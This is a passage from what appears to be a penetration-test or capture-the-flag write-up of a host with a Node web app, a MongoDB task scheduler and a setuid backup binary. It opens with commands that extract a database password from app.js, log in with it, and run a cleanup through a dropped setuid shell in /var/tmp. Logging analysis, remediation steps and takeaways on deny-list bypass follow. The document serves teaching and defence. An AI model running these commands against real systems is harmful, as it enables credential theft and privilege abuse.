P=$(grep -oP 'mark:\K[^@]+' /var/scheduler/app.js)
echo "### mark on scheduler"; mongo --quiet -u mark -p "$P" scheduler --eval 'printjson(db.runCommand({connectionStatus:1}).authInfo); printjson(db.getCollectionNames())'
echo "### mark on myplace"; mongo --quiet -u mark -p "$P" myplace --eval 'printjson(db.runCommand({connectionStatus:1}).authInfo); printjson(db.getCollectionNames())'
echo "### cleanup"; /var/tmp/.nr -p -c 'rm -f /var/tmp/.nt /var/tmp/.nu; rm -f /var/tmp/.nr; ls -la /var/tmp'
[...]
"authenticatedUserRoles" : [
{
"role" : "readWrite",
"db" : "scheduler"
}
[...]
"role" : "readWrite",
"db" : "myplace"
[...]
### cleanup
total 12
drwxrwxrwt 3 root root 4096 Nov 24 06:45 .
[...]
ufw status refused to run under a setuid shell,
so I did not read the firewall state.
Defensive Analysis
What the box itself recorded, from the root read above:
- The API reads and the backup downloads: nothing.
package.jsonlists no request logger and the service’s journal holds only its start-up lines after all of my requests. An access log would have shown thirteen requests for a 3.4 MB backup in about two minutes. - The SSH logins:
auth.loghas anAccepted password for markline for each of the last six commands I ran; my excerpt wastail -6, so the three refused logins of Phase 2 are not in it. The sed in the evidence script replaced my address. - The task inserts:
mongodruns with--quietand its log was last written at boot, so neither the logins nor the inserts are in it. The scheduler’s journal has one line per task with the document id and not the command, and the document is deleted after it runs. - The setuid files and the backup abuse: no
auditdon the host. Not tested: an audit rule onexecveof/usr/local/bin/backupwould record the path argument with its embedded newlines, and a periodicfind / -perm -4000compared with a baseline would list the three copies in/var/tmp.
Remediation
None of this was applied on the box, and the checks named were not run.
- Require a session on
/api/usersand/api/users/:username. The home page needs/api/users/latest, so that one stays public with a projection of the user name only. Drop thepasswordfield from every response, the/api/sessionone included. Check: the unauthenticated collection request returns 401 and no response contains a 64-character hex field. - Store passwords with bcrypt, scrypt or Argon2, and rotate all four. Check: the stored value is no longer 64 hex characters.
- Take credentials out of
app.jsinto the unit’s environment or a root-owned file, give the web application and the scheduler separate database users, and givemarka different SSH password or key-only login. Check: the Phase 2 login fails. - The scheduler should not run strings. Store a task name and look it up in
a fixed table of functions. Passing the row to
execFileinstead would not help: the row would still choose the program. Removemark’sreadWriterole onscheduler. Check: the Phase 3 insert is refused, or runs nothing. backup: the simplest fix is to remove the setuid bit, if the web application’s user can already read the tree it archives. I did not list the ownership of/var/www/myplace, so that is a condition. If root must stay, replacesystem()withexecvof/usr/bin/zip, pass the path resolved withrealpathafter a--and with-y, compare it with an allow-list of directories, and bound the copy. Without-y,zip -rfollows a symbolic link placed inside an allowed directory. Check: the/rootcontrol, the newline payload and a link to/rootall fail.- Return a real error on refusal. A decoy with exit status 0 hides attacks
from the operator’s own monitoring as well as from the attacker. If the
key file survives item 5, make it mode 0640 with group
admin.
Key Takeaways
- A single-page application publishes its API in its scripts: read them, then request the parent of every route they name.
- A truncated download is a finding about the transport. Compare the byte
count with
Content-Length, then vary one connection property at a time. - A database that feeds a command runner turns a write permission into the runner’s Unix identity. Use that identity directly before building helpers.
- A deny-list of shell characters is one missing character from useless. Disassemble the filter and list what is absent before trying anything.